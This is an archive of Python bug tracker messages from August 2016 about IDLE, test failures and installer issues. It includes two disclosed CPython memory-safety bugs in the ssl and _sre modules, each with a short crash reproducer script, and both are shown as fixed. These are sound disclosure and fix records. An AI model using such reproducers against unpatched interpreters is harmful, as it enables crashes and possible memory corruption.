Mon Aug 15 21:47:49 2016 From: report at bugs.python.org (Eryk Sun) Date: Tue, 16 Aug 2016 01:47:49 +0000 Subject: [issue27756] Add pyd icon for 3.6 In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za> Message-ID: <1471312069.61.0.572040598149.issue27756@psf.upfronthosting.co.za> Eryk Sun added the comment: > Maybe it's time for a whole new set :) Please keep a rocket in the upper left-hand corner for the launcher icon. It distinguishes the launcher from other "Python" apps when modifying the shell's file association, since the shell doesn't show the command-line template to the user. Of course, it would also help if the description in py.exe were changed to "Python Launcher" instead of just "Python". ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 21:54:27 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 01:54:27 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1471312467.1.0.40016363362.issue27714@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Ned, test_tix failing on some systems (but not Windows) after test_idle, because test_idle calls tk.NoDefaultRoot() (added June 21 in #24137) is #27611. Serhiy says there is a bug in tix, but no one has fix that yet. Zach says I should restore tkinter module. I will probably revert changing it in the first place except when running test_idle alone as main. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 22:00:39 2016 From: report at bugs.python.org (Steve Dower) Date: Tue, 16 Aug 2016 02:00:39 +0000 Subject: [issue27756] Add pyd icon for 3.6 In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za> Message-ID: <1471312839.32.0.354648338694.issue27756@psf.upfronthosting.co.za> Steve Dower added the comment: Can't promise there'll be a rocket, but the launcher icon will certainly be different from the source file icon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 22:02:35 2016 From: report at bugs.python.org (Ron Carr) Date: Tue, 16 Aug 2016 02:02:35 +0000 Subject: [issue27767] Receive "A required privilege is not held by the Client" error message when Installing python on Windows 10 64 bit In-Reply-To: <1471279452.34.0.71295600271.issue27767@psf.upfronthosting.co.za> Message-ID: Ron Carr added the comment: Hi Nosy and Brett, I worked it out, even though I turned off the virus checker it was still in memory. I had to right click on the install file, then select allow install, it then completed successfully. Regards, Ron On Tue, Aug 16, 2016 at 2:44 AM, Brett Cannon wrote: > > Brett Cannon added the comment: > > 1. Is this pre- or post-Anniversary update? > > 2. Is the PC administered by anyone other than yourself (e.g. is it a work > machine)? > > 3. Are you trying to do a system-wide install or a personal install? > > 4. For at least Python 3.5 the installer does work as I have done it > myself multiple times. > > ---------- > nosy: +brett.cannon > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 22:04:40 2016 From: report at bugs.python.org (Emanuel Barry) Date: Tue, 16 Aug 2016 02:04:40 +0000 Subject: [issue27767] Receive "A required privilege is not held by the Client" error message when Installing python on Windows 10 64 bit In-Reply-To: <1471260816.48.0.169081591166.issue27767@psf.upfronthosting.co.za> Message-ID: <1471313080.26.0.567294493939.issue27767@psf.upfronthosting.co.za> Changes by Emanuel Barry : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 22:11:07 2016 From: report at bugs.python.org (Ned Deily) Date: Tue, 16 Aug 2016 02:11:07 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1471313467.39.0.570666775408.issue27714@psf.upfronthosting.co.za> Ned Deily added the comment: "Ned, test_tix failing on some systems [...]" Sorry, Terry! I had forgotten about Issue27611 and didn't do a proper search. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 23:19:33 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 16 Aug 2016 03:19:33 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471317573.56.0.603930108301.issue27736@psf.upfronthosting.co.za> Xiang Zhang added the comment: We don't have to change Lib/test/test_capi.py. It has already got a repeated init and fini test[1]. All we need to do is increase the loop number[2]. I have tried with 15, the test case fails reliably. And with the previous patch applied, it won't fail. [1] https://hg.python.org/cpython/file/tip/Lib/test/test_capi.py#l386 [2] https://hg.python.org/cpython/file/tip/Programs/_testembed.c#l44 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:10:31 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 04:10:31 +0000 Subject: [issue24137] Force not using _default_root in IDLE In-Reply-To: <1430925977.27.0.721479362057.issue24137@psf.upfronthosting.co.za> Message-ID: <20160816041028.22029.11058.F113532D@psf.io> Roundup Robot added the comment: New changeset a6a248479b66 by Terry Jan Reedy in branch 'default': Issue #27611, #24137: Only change tkinter when easily restored. https://hg.python.org/cpython/rev/a6a248479b66 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:10:31 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 04:10:31 +0000 Subject: [issue27611] test_tix cannot import _default_root after test_idle In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za> Message-ID: <20160816041028.22029.23869.761ACFC5@psf.io> Roundup Robot added the comment: New changeset a6a248479b66 by Terry Jan Reedy in branch 'default': Issue #27611, #24137: Only change tkinter when easily restored. https://hg.python.org/cpython/rev/a6a248479b66 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:11:24 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 04:11:24 +0000 Subject: [issue27611] test_tix cannot import _default_root after test_idle In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za> Message-ID: <1471320684.67.0.795094264095.issue27611@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Ned Deily noticed the same problem when running with test.regrtest #27714. I cannot reproduce this issue when running both tests either with unittest or test.regrtest. F:\Python\dev>36\pcbuild\win32\python_d.exe -m unittest test.test_tix test.test_idle test.test_tix ............................................................................................................................................................................................................................. ---------------------------------------------------------------------- Ran 221 tests in 3.959s OK F:\Python\dev>36\pcbuild\win32\python_d.exe -m test -ugui test_tix test_idle test_tix Run tests sequentially 0:00:00 [1/3] test_tix 0:00:00 [2/3] test_idle 0:00:03 [3/3] test_tix All 3 tests OK. if __name__ == '__main__': unittest.main(verbosity=2, exit=False) + tk._support_default_root = 1 + tk._default_root = None Zach, I don't know of any way to get either unittest or test.regrtest to run anything in test_idle after it runs the test collector *and* the tests. Do you? The addition of tk.NoDefaultRoot() to both IDLE and its tests was suggested by Serhiy in #24137. Doing so exposed several issues in htests but no real bugs in IDLE itself. My patch to restore tkinter module only works when test_idle is run as main. So as far as that patch goes, tkinter should only changed when the test is run as main. I will move the call. I have already changed my check script to run test_idle this way. Otherwise, the easiest way to leave tkinter as it was when testing ends is to not change it. I am aware that tkinter tests avoid the by defining a mixin class with class methods that call and undo the call. It is used in 11 test classes within the tkinter and ttk tests. However, this refactoring would be harder to apply to IDLE tests and not sufficient in itself. It is at best a future project. I added a guard to IDLE's NoDefaultRoot call for when pyshell.main is broken into multiple testable functions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:19:11 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 04:19:11 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <20160816041838.28817.55961.C73236CD@psf.io> Roundup Robot added the comment: New changeset 4f69626fd923 by Ned Deily in branch 'default': Issue #27736: Improve the existing embedded interpreter init/fini test https://hg.python.org/cpython/rev/4f69626fd923 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:24:58 2016 From: report at bugs.python.org (Ned Deily) Date: Tue, 16 Aug 2016 04:24:58 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471321498.65.0.256483656468.issue27736@psf.upfronthosting.co.za> Ned Deily added the comment: Excellent! Thanks for digging into that. Increasing the iterations seems to work fine within the (understandable) limitations of the existing embedded tests, e.g. only work from a source tree build (not an installed build nor from a separate build directory) etc. Case closed. ---------- resolution: -> fixed stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:31:29 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 16 Aug 2016 04:31:29 +0000 Subject: [issue27771] Add a clear screen button or menu choice for IDLE Message-ID: <1471321889.54.0.890375613715.issue27771@psf.upfronthosting.co.za> New submission from Raymond Hettinger: Learners in my classes commonly request this feature. Beyond just providing a cosmetic clean-up, this would be useful for recovering from IDLE's catastrophic slow-downs after trying to print a very wide line (i.e. the repr of a string containing a full webpage or text file, see http://bugs.python.org/issue1442493 ). ---------- assignee: terry.reedy components: IDLE keywords: easy messages: 272826 nosy: rhettinger, terry.reedy priority: normal severity: normal stage: needs patch status: open title: Add a clear screen button or menu choice for IDLE type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:35:19 2016 From: report at bugs.python.org (Ben Finney) Date: Tue, 16 Aug 2016 04:35:19 +0000 Subject: =?utf-8?q?=5Bissue27772=5D_Refer_to_actual_format_string_when_creating_?= =?utf-8?q?=E2=80=9Czero_padding=E2=80=9D_error_message?= Message-ID: <1471322118.97.0.225723730885.issue27772@psf.upfronthosting.co.za> New submission from Ben Finney: When using a format specifier with leading zero, the format spec mini-language (as documented at https://docs.python.org/3/library/string.html#format-specification-mini-language>) says: > '=' [?] becomes the default when ?0? immediately precedes the field width. When the ?=? option is only implied, the error message ?ValueError: '=' alignment not allowed in string format specifier? becomes surprising and incomprehensible to someone who does not know that implied behaviour. In issue 15560, Terry Reedy says: > If the spec string is still available, it could be searched and the message adjusted if '=' is not present. That proposal should be a new issue if someone wants to push it. This issue raises that proposal. The error message should be changed so that: * It makes sense whether or not the ?=? option is explicit in the format specifier. Or: * Different messages are produced when the ?=? option is explicit versus when it is implicit. I think the former option is better, but either will satisfy this request. ---------- messages: 272827 nosy: bignose priority: normal severity: normal status: open title: Refer to actual format string when creating ?zero padding? error message versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:36:43 2016 From: report at bugs.python.org (Ben Finney) Date: Tue, 16 Aug 2016 04:36:43 +0000 Subject: [issue15660] Clarify 0 prefix for width specifier in str.format doc, In-Reply-To: <1345004440.11.0.680139192916.issue15660@psf.upfronthosting.co.za> Message-ID: <1471322203.25.0.162580999322.issue15660@psf.upfronthosting.co.za> Ben Finney added the comment: Terry Reedy wrote: > If the spec string is still available, it could be searched and the message adjusted if '=' is not present. That proposal should be a new issue if someone wants to push it. Done now, see Issue 27772. ---------- nosy: +bignose _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:39:57 2016 From: report at bugs.python.org (Ned Deily) Date: Tue, 16 Aug 2016 04:39:57 +0000 Subject: =?utf-8?q?=5Bissue27772=5D_Refer_to_actual_format_string_when_creating_?= =?utf-8?q?=E2=80=9Czero_padding=E2=80=9D_error_message?= In-Reply-To: <1471322118.97.0.225723730885.issue27772@psf.upfronthosting.co.za> Message-ID: <1471322397.39.0.256393443392.issue27772@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: +eric.smith versions: +Python 3.6 -Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:53:37 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Tue, 16 Aug 2016 04:53:37 +0000 Subject: [issue27773] Excessive Py_XDECREF in the ssl module: Message-ID: <1471323217.11.0.35836445166.issue27773@psf.upfronthosting.co.za> New submission from Benjamin Peterson: Thomas E. Hybel reports: This vulnerability exists in the function newPySSLSocket in /Modules/_ssl.c. The problem is that Py_XDECREF is called on an object, self->server_hostname, which isn't owned anymore. The code looks like this: static PySSLSocket * newPySSLSocket(PySSLContext *sslctx, PySocketSockObject *sock, enum py_ssl_server_or_client socket_type, char *server_hostname, PySSLMemoryBIO *inbio, PySSLMemoryBIO *outbio) { PySSLSocket *self; ... if (server_hostname != NULL) { hostname = PyUnicode_Decode(server_hostname, strlen(server_hostname), "idna", "strict"); ... self->server_hostname = hostname; } ... if (sock != NULL) { self->Socket = PyWeakref_NewRef((PyObject *) sock, NULL); if (self->Socket == NULL) { Py_DECREF(self); Py_XDECREF(self->server_hostname); return NULL; } } } We're initializing the "self" variable. If a hostname was given as an argument, we call PyUnicode_Decode to initialize self->server_hostname = hostname. At this point both "self" and "self->server_hostname" have a reference count of 1. Later on we set self->Socket to be a new weakref. However if the call to PyWeakref_NewRef fails (the object cannot be weakly referenced) then we run Py_DECREF(self). Since the reference count of "self" drops to 0, PySSL_dealloc is called, which runs this line: Py_XDECREF(self->server_hostname); Now self->server_hostname's refcount drops to 0 and it is freed. Then, back in newPySSLSocket, we run Py_XDECREF(self->server_hostname); which is inappropriate both because "self" is now freed, and because self->server_hostname's refcount was already dropped in PySSL_dealloc. So this can be seen either as a use-after-free or as a double free vulnerability. Here's a reproducer: --- begin script --- import ssl, socket, _socket s = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) s.context._wrap_socket(_socket.socket(), server_side=1) --- end script --- On my machine (Python-3.5.2, 64-bits, --with-pydebug) it crashes: (gdb) r ./poc8.py Starting program: /home/xx/Python-3.5.2/python ./poc8.py Program received signal SIGSEGV, Segmentation fault. 0x00007ffff67f7d9c in newPySSLSocket (sslctx=sslctx at entry=0x7ffff5ed15f8, sock=sock at entry=0x7ffff7e31dc0, socket_type=socket_type at entry=PY_SSL_SERVER, server_hostname=, inbio=inbio at entry=0x0, outbio=outbio at entry=0x0) at /home/xx/Python-3.5.2/Modules/_ssl.c:562 562 Py_XDECREF(self->server_hostname); (gdb) p self->server_hostname $14 = (PyObject *) 0xdbdbdbdbdbdbdbdb I believe this should be fixed by simply removing the line "Py_XDECREF(self->server_hostname);" While fixing this, you might want to fix another issue in newPySSLSocket which I'll describe next. The separate problem lies here: if (server_hostname != NULL) { hostname = PyUnicode_Decode(server_hostname, strlen(server_hostname), "idna", "strict"); if (hostname == NULL) { Py_DECREF(self); return NULL; } self->server_hostname = hostname; } As we can see, PyUnicode_Decode is called. If PyUnicode_Decode fails, we call Py_DECREF(self). However the field self->server_hostname is an uninitialized variable at this point! So the code in PySSL_dealloc which calls Py_XDECREF(self->server_hostname) could actually be working with an arbitrary, uninitialized pointer. Technically this is a separate vulnerability from the first, but I couldn't find a way to trigger it other than low-memory situations which aren't very reliable. This could be fixed by initializing self->server_hostname to NULL before calling Py_DECREF(self). ---------- messages: 272829 nosy: benjamin.peterson priority: normal severity: normal status: open title: Excessive Py_XDECREF in the ssl module: type: crash versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 00:56:26 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 04:56:26 +0000 Subject: [issue27773] Excessive Py_XDECREF in the ssl module: In-Reply-To: <1471323217.11.0.35836445166.issue27773@psf.upfronthosting.co.za> Message-ID: <20160816045623.100516.64389.F141200C@psf.io> Roundup Robot added the comment: New changeset 98c86d5a6655 by Benjamin Peterson in branch '3.5': fix corner cases in the management of server_hostname (closes #27773) https://hg.python.org/cpython/rev/98c86d5a6655 New changeset a8cd67e80ed3 by Benjamin Peterson in branch 'default': merge 3.5 (#27773) https://hg.python.org/cpython/rev/a8cd67e80ed3 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:00:44 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Tue, 16 Aug 2016 05:00:44 +0000 Subject: [issue27774] Py_DECREF on a non-owned object in _sre Message-ID: <1471323644.28.0.628758969625.issue27774@psf.upfronthosting.co.za> New submission from Benjamin Peterson: Thomas E Hybel reports: This vulnerability exists in the function _sre_SRE_Match_groupdict_impl which resides in the /Modules/_sre.c file. The problem is that the code calls Py_DECREF(key); without having done a corresponding Py_INCREF on the key. Here's the relevant code: static PyObject * _sre_SRE_Match_groupdict_impl(MatchObject *self, PyObject *default_value) { ... for (index = 0; index < PyList_GET_SIZE(keys); index++) { ... PyObject* key; ... key = PyList_GET_ITEM(keys, index); ... value = match_getslice(self, key, default_value); if (!value) { Py_DECREF(key); goto failed; } ... } ... } We initialize the "key" variable via PyList_GET_ITEM(keys, index) which simply takes keys->ob_item[index]. There is no increase in reference count. If match_getslice fails, we then call Py_DECREF(key). This is simply wrong. It will result in the key object getting freed prematurely, leading to use-after-free scenarios. Here's a script which reproduces this: --- begin script --- import _sre import time p = _sre.compile( "A", # pattern 0, # flags [1], # code 1, # groups {0xdeadbeef: 0}, # groupindex 0 # indexgroup ) m = p.match("AAAA") for _ in range(5): # each call to m.groupdict decreases the refcount of 0xdeadbeef once try: m.groupdict() except IndexError: pass --- end script --- Running the script crashes python on my machine: (gdb) r ./poc7.py Starting program: /home/xx/Python-3.5.2/python ./poc7.py Program received signal SIGSEGV, Segmentation fault. 0x0000000000567d71 in match_getindex (self=self at entry=0x7ffff7e2da18, index=index at entry=0x7ffff6d582c0) at ./Modules/_sre.c:2055 2055 if (PyLong_Check(index)) (gdb) bt #0 0x0000000000567d71 in match_getindex (self=self at entry=0x7ffff7e2da18, index=index at entry=0x7ffff6d582c0) at ./Modules/_sre.c:2055 #1 0x0000000000568946 in match_getslice (self=self at entry=0x7ffff7e2da18, index=index at entry=0x7ffff6d582c0, def=def at entry=0x8831c0 <_Py_NoneStruct>) at ./Modules/_sre.c:2076 #2 0x0000000000568a99 in _sre_SRE_Match_groupdict_impl (self=self at entry=0x7ffff7e2da18, default_value=0x8831c0 <_Py_NoneStruct>) at ./Modules/_sre.c:2198 #3 0x0000000000568bc5 in _sre_SRE_Match_groupdict (self=0x7ffff7e2da18, args=, kwargs=) at ./Modules/clinic/_sre.c.h:518 ---------- messages: 272831 nosy: benjamin.peterson priority: normal severity: normal status: open title: Py_DECREF on a non-owned object in _sre type: security versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:01:53 2016 From: report at bugs.python.org (Ben Finney) Date: Tue, 16 Aug 2016 05:01:53 +0000 Subject: [issue12916] Add inspect.splitdoc In-Reply-To: <1315326747.38.0.43030903994.issue12916@psf.upfronthosting.co.za> Message-ID: <1471323713.96.0.493302937602.issue12916@psf.upfronthosting.co.za> Ben Finney added the comment: Am I right that this: > pydoc doesn't have public API other than its CLI and the help() function. > [?] On the other hand, there are already functions related to splitdoc() > in the inspect module [?]. > There is no rush to make splitdoc() public. We can improve pydoc in 3.5 > and 3.6 timeline and then decide what's should be part of the public API. represents the latest on this issue? We now have the alpha phase of Python 3.6. Can we get a resolution that makes ?splitdoc? public somewhere? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:05:31 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 05:05:31 +0000 Subject: [issue27774] Py_DECREF on a non-owned object in _sre In-Reply-To: <1471323644.28.0.628758969625.issue27774@psf.upfronthosting.co.za> Message-ID: <20160816050528.22286.25035.82FE73F0@psf.io> Roundup Robot added the comment: New changeset 4ca84a3e37d7 by Benjamin Peterson in branch '2.7': do not decref value borrowed from list (closes #27774) https://hg.python.org/cpython/rev/4ca84a3e37d7 New changeset cbf2a05648b3 by Benjamin Peterson in branch '3.3': do not decref value borrowed from list (closes #27774) https://hg.python.org/cpython/rev/cbf2a05648b3 New changeset 2e404ac88e0e by Benjamin Peterson in branch '3.4': merge 3.3 (#27774) https://hg.python.org/cpython/rev/2e404ac88e0e New changeset 424cb9482974 by Benjamin Peterson in branch '3.5': merge 3.4 (#27774) https://hg.python.org/cpython/rev/424cb9482974 New changeset 64b0e0a29874 by Benjamin Peterson in branch 'default': merge 3.5 (#27774) https://hg.python.org/cpython/rev/64b0e0a29874 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:05:32 2016 From: report at bugs.python.org (Georg Brandl) Date: Tue, 16 Aug 2016 05:05:32 +0000 Subject: [issue26331] Tokenizer: allow underscores for grouping in numeric literals In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za> Message-ID: <1471323932.68.0.566155664037.issue26331@psf.upfronthosting.co.za> Georg Brandl added the comment: @Serhiy/anyone: can I get another review, so that we can commit this in time for beta? Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:11:20 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 05:11:20 +0000 Subject: [issue6143] IDLE - an extension to clear the shell window In-Reply-To: <1243631391.82.0.146122427664.issue6143@psf.upfronthosting.co.za> Message-ID: <1471324280.98.0.178698017166.issue6143@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Python 3.6 just got a patch to squeeze duplicate traceback lines, as with recursion-depth errors. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:16:14 2016 From: report at bugs.python.org (=?utf-8?b?0KTQuNC70LjQv9C/INCf0L7QvdC+0LzQsNGA0LXQsg==?=) Date: Tue, 16 Aug 2016 05:16:14 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1471324574.21.0.9406624807.issue27734@psf.upfronthosting.co.za> ?????? ????????? added the comment: I understand and totally agree, but if u're working on it, can u give me a reference to open issue, or should I use Stefan link? I should report to my ?hief :) After that you can close it immideatly. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:17:46 2016 From: report at bugs.python.org (=?utf-8?b?0KTQuNC70LjQv9C/INCf0L7QvdC+0LzQsNGA0LXQsg==?=) Date: Tue, 16 Aug 2016 05:17:46 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1471324666.29.0.848843558347.issue27734@psf.upfronthosting.co.za> ?????? ????????? added the comment: And one more thing. Is there python version exist without leaks? Or all of them have those leaks? thank you! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:19:33 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 05:19:33 +0000 Subject: [issue27771] Add a clear screen button or menu choice for IDLE In-Reply-To: <1471321889.54.0.890375613715.issue27771@psf.upfronthosting.co.za> Message-ID: <1471324773.47.0.140448844622.issue27771@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This is essentially a duplicate of your #17632, which proposed Clear Screen + Restart, which was closed as a duplicate of #6143, which has some patches. ---------- resolution: -> duplicate stage: needs patch -> resolved status: open -> closed superseder: -> IDLE - an extension to clear the shell window _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:44:52 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 05:44:52 +0000 Subject: [issue27611] test_tix cannot import _default_root after test_idle In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za> Message-ID: <20160816054449.99632.10606.E5028377@psf.io> Roundup Robot added the comment: New changeset cddd633b959f by Terry Jan Reedy in branch '2.7': Issue #27611: Don't import volatile attribute. https://hg.python.org/cpython/rev/cddd633b959f New changeset a42933335897 by Terry Jan Reedy in branch '3.5': Issue #27611: Don't import volatile attribute. https://hg.python.org/cpython/rev/a42933335897 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 01:46:10 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 05:46:10 +0000 Subject: [issue27611] test_tix cannot import _default_root after test_idle In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za> Message-ID: <1471326370.0.0.527575446426.issue27611@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- assignee: -> terry.reedy resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 02:00:48 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 06:00:48 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1471327248.26.0.649939045882.issue27714@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I fixed #27611. Could you try the comment out test of macosx call for test_autocomplete (around line 30 to 35) in 2.7 and 3.5? If those also pass, I will patch all three and close this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 02:22:00 2016 From: report at bugs.python.org (Petri Lehtinen) Date: Tue, 16 Aug 2016 06:22:00 +0000 Subject: [issue11566] hypot define in pyconfig.h clashes with g++'s cmath In-Reply-To: <1300232356.74.0.516279839285.issue11566@psf.upfronthosting.co.za> Message-ID: <1471328520.69.0.794349586345.issue11566@psf.upfronthosting.co.za> Changes by Petri Lehtinen : ---------- nosy: -petri.lehtinen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 02:45:29 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 06:45:29 +0000 Subject: [issue1442493] IDLE shell window gets very slow when displaying long lines Message-ID: <1471329929.62.0.63698520431.issue1442493@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- assignee: -> terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 02:56:13 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 06:56:13 +0000 Subject: [issue27750] Idle Shell freezes when printing 100000+ char lines. In-Reply-To: <1471028932.53.0.0266667136467.issue27750@psf.upfronthosting.co.za> Message-ID: <1471330573.63.0.241710437986.issue27750@psf.upfronthosting.co.za> Terry J. Reedy added the comment: 200 (lines) * 200 (columns) * 3 (or more chars/item) = line with 120000+ chars -- which you try to print 200 times. This is known to mostly freeze tk Text windows. This was not a crash for me, as I was able to close Shell and continue. PS: Please post uncompressed files next time. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> IDLE shell window gets very slow when displaying long lines title: Idle editor crashes when input size more than 250 lines given -> Idle Shell freezes when printing 100000+ char lines. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 02:56:41 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 06:56:41 +0000 Subject: [issue26750] Mock autospec does not work with subclasses of property() In-Reply-To: <1460585586.67.0.646853664072.issue26750@psf.upfronthosting.co.za> Message-ID: <20160816065638.22202.64973.EE86DF2F@psf.io> Roundup Robot added the comment: New changeset 3ff02380b1bf by Gregory P. Smith in branch '3.5': Issue #26750: use inspect.isdatadescriptor instead of our own https://hg.python.org/cpython/rev/3ff02380b1bf New changeset d51a66622266 by Gregory P. Smith in branch 'default': Issue #26750: use inspect.isdatadescriptor instead of our own https://hg.python.org/cpython/rev/d51a66622266 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 03:06:29 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 07:06:29 +0000 Subject: [issue6143] IDLE - an extension to clear the shell window In-Reply-To: <1243631391.82.0.146122427664.issue6143@psf.upfronthosting.co.za> Message-ID: <1471331189.29.0.749300681653.issue6143@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Comments on taleinat.20140219.IDLE_ClearWindow_extension.patch. In 3.6, module names are lowercase, not too long. Also, I am trying to consolidate small files, not multiply them. I am trying to convert existing built-in extensions to built-in features, not add new extension files. The options menu seems like a strange place for the menu item. Since this patch is for Shell, I would put it on the Shell menu. Select All == Control A (Edit menu) + Backspace or Delete clears editor and output windows. (I could add this to the doc.) The issue with Shell, as Roger noted in his original post, is the current mechanism to prevent deletion. This suggests an alternate solution: only protect the current prompt (which I would like to move to a sidebar anyway). There could be an option to making Shell history editable or not? Why should people have to save-load or copy-paste to edit a shell session? (Currently, the Rt click context menu displays an apparently active 'Cut' that does not work.) The main issue is that people might edit past input, hit return, and expect the code to run. This could be made to work. What to delete? Everything prior to last prompt is plausible when IDLE is paused waiting for code input. It is wrong if one is trying to stop output since the last prompt. These are two different use cases (Raymond mentioned both in duplicate #27771). 1. Cosmetic cleanup of a long session. A Shell => Clear (everything) and Restart (and emit a new prompt) would work for this. 2. Recovery from excessively many or long lines. (see #27750, for instance). For this, one may only want to delete the most recent program output (and ignore anything that keeps coming before the next prompt is printed). The need here is for Shell to remain more responsive than it currently does. Undo-able? Cntl-A + delete is already undo-able. Clear and Restart would be, as Restart clears the undo stack. I think emergency deletion should not be. ---------- assignee: roger.serwy -> terry.reedy stage: -> needs 